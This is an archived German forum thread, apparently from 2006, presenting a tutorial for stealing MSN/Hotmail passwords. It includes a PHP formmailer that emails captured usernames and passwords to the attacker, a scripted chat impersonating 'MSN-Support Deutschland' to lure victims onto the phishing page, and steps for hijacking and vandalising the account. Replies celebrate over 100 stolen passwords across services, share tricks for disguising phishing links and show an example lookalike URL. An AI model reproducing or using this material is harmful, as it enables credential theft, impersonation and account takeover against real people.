Archive

Verfasst am: 17.06.2006, 16:20

So im diesem Tut Zeige ich euch wie man mit einfachen Mitteln schnell ein MSN Passwort kriegt. Als erstes braucht ihr eine Phising-Seite für MSN/Hotmail. Hier könnt ihr zusehen wie ich eine Phisingseite bastle. Alle die das Zeugs Downloaden wollen klicken hier. Solltet ihr das Zeugs gedownloadet haben müsst ihr nurnoch im formmailer.php "your@email.adress" durch eure E-Mail Adresse ersetzen und dann Uploaden. Ich empfehle euch jedoch das ihr die Seite selbst bastelt.
Für die Selbstbastler hier das Template des Formmailers den ich verwendet habe.

Code:

<?php
$yourmail = "
yourmail";

mail("$yourmail", "

$naam. Account Details.

$yourmail", "Username : $user \n Password: $passwd \n \n");

header("Location: original adress");

?>

So das wars soweit mit dem erstellen der Phisingseite. Ihr müsst das nurnoch auf nen Webspace Uploaden der PHP unterstüzt. Wo ihr solchen Space bekommt sagt euch Google.

Nun zum Teil in dem ihr euer Opfer dazu bringen müsst sein PW auf dieser Seite anzugeben. Ich gebe mich dazu als Supporter von MSN aus. Erstellt euch also eine MSN adresse ide z.B. so lauten kann "msn_support_53@msn.com". Nun loggt ihr euch mit dieser Adresse ins MSN ein. Macht euren Namen z.B. so "MSN-Support Deutschland", und nehmt ein gutes Anzeigebild. Nehmt z.B. das Schachbrett oder noch besser ihr macht euch ein MSN-Support Logo. Nun fügt ihr euer Opfer der Kontakliste hinzu (ihr werdet zu 99% angenommen). Nun führt ihr ein Gespräch mit dem Opfer das etwa so aussehen kann: (wir nehmen an die adresse des Opfer wäre "hans.meier@msn.com")

Ich: Guten Tag Herr hans.meier
Opfer: Wer sind Sie?
Ich: Ich bin offizieller Supporter von MSN.
Opfer: Ach so.
Ich: Wir von MSN hätten einige Fragen an Sie. Hätte Sie 2 Minuten Zeit?
Opfer: Ja
Ich: Gut danke.
Wieviele Stunden am Tag nutzen Sie MSN?
Opfer: 1-2 Stunden am Tag
Ich: Gut. Wir haben festgestellt das viele User Probleme beim Login haben. Wir bitten Sie sich nun auf folgender Seite kurz anzumelden, soo können wir den Fehler detailierter analysieren.
http://URL_ZUR_PHISING_SEITE
Opfer: OK
*Anmerkung: Ich hab die Daten gerade eben per E-mail erhalten. Erst jetzt geht das Gespräch weiter.*
Ich: Gut. Ich sehe die Analyse ist gerade angekommen. Danke
Haben Sie noch einen Verbesserungsvorschlag?
Opfer: Ja, beheben Sie die Login Probleme! Sehr glücklich

Ich: Ok, ich bin dran. Winken

Schönen Tag noch Herr hans.heier
*Anmerkung: Bei dem Teil an bei dem ihr die Daten empfangen habt. loggt ihr euch während das Gespräch weiter geht auf Hotmail.com ein un ändert das Passwort. Nach dem Ende des Gesprächs blockt ihr das Opfer.*

So nun loggt ihr euch mit MSN in den Account des Opfers ein und löscht euch aus der Kontaktliste. Nun könnt ihr den Account verwüsten die Kollegen beleidigen und was auch immer. Wollt ihr das euer Opfer sich wieder einloggen kann? Dann wechselt das Passwort wieder auf sein altes.

niemand

Verfasst am: 17.06.2006, 16:20

Verfasst am: 23.10.2006, 21:51

Wollte mich bei dir niemand bedanken für dieses tolle Tutorial,

Ich hab mal klein angefangen, und nur den Formmailer geändert und alles aufen Webspace geladen...

mittlerweile hab ich 100 Passwörter allein von MSN, hinzukommen noch Ebay, amazon, gmx, yahoo, ICQ, WoW, diverse browsergams....

Und wenn man bedenkt dass das erst der anfang ist.... was ich bisher gemacht hab war ja nur kinderkacke, obwohl ich hatte schon hin und wieder nen kömisches gefühl im Magen Geschockt

Ich hab mittlerweile 10Email adressen Winken

Also danke niemand

Verfasst am: 29.10.2006, 20:42

hab alles so gemacht wie beschrieben...funzt auch! allerdings habe ich eine frage zu deinen beispielgespräch: "jetzt schickt man ihm die url zur phishing site "blabalabl"

- wenn man die URL in einem chat schreibt kann der typ die doch lesen, und wenn manns wie im tutorial beschrieben gemacht hat, kann der doch jetzt lesen: http://blablabla/MSNhack....

wie kann man das ändern? --ich meine das man zb. nur schreibt klicken sie "hier"

mfg gandalf....(bin anfänger,falls es ne doofe frage ist)

Verfasst am: 29.10.2006, 21:20

meld dich doch erstma an

aber stimmt schon die frage hab ich auch

Verfasst am: 29.10.2006, 21:38

ja und? macht euch sone url: login.live.aslkhjuioefhifeio.askduhw.com.ms
die glauben das schon Winken

Hier im board ginge das z.B. so [url = www.pppppppppp.com ] hier [/ url]
Kommt eben auf'n chat an.....

Verfasst am: 29.10.2006, 23:39

hi, also, erstmal BIG THX, des tut is super, aber ich hätte eine frage...
ich wollt gleich mal so ein eigentes machen, aber ich hab gleich ein problem beim speichern der seite...
www.lokalisten.de
da fehlt das große L und die ecken sind nimmer rund, nachdem ich es gespeichert hab... weiß einer, was ich falsch gemacht hab?

Verfasst am: 30.10.2006, 10:48

Das kann passieren. Deshalb solltest du etwas von HTML verstehen, dann kannst du das Manuel nachkorrigieren.

Verfasst am: 30.10.2006, 16:47

niemand hat folgendes geschrieben:

ja und? macht euch sone url: login.live.aslkhjuioefhifeio.askduhw.com.ms
die glauben das schon Winken

Hier im board ginge das z.B. so [url = www.pppppppppp.com ] hier [/ url]
Kommt eben auf'n chat an.....

Schaut euch mal meine an Sehr glücklich

http://www.support-msn.org/msnsupport/login.srfid=2DI=108XAPID=4210PS=70635NC=10009CE=11CP=1252HL=HotmailPS=70635NC=10009CE=11CP=1252HL=Hotmailvv=410lc=1031.htm

Verfasst am: 30.10.2006, 20:30

Sowas ist natürlich nahezu perfekt Sehr glücklich

Verfasst am: 30.10.2006, 21:28

wow
sehr gut geworden
*top*
muss mich auchma damit auseinandersetzen xD

Verfasst am: 30.10.2006, 22:45

das sieht einfach aus wie echt!

Verfasst am: 31.10.2006, 07:10

also ich glaub ich klemm mich auch mal dahinter, sieht sehr gut aus
Saufen

Verfasst am: 31.10.2006, 09:22

Wenn ihr das vor 4 Monaten schon begriffen hättet, als ich das Tut geposted habe....

Verfasst am: 31.10.2006, 13:28

Besser spät als nie, oder?

Verfasst am: 31.10.2006, 14:11

Stimmt auch...
Und nun schluss mit dem gespamme!
Spam Stempel

SocialEngineering & Phishing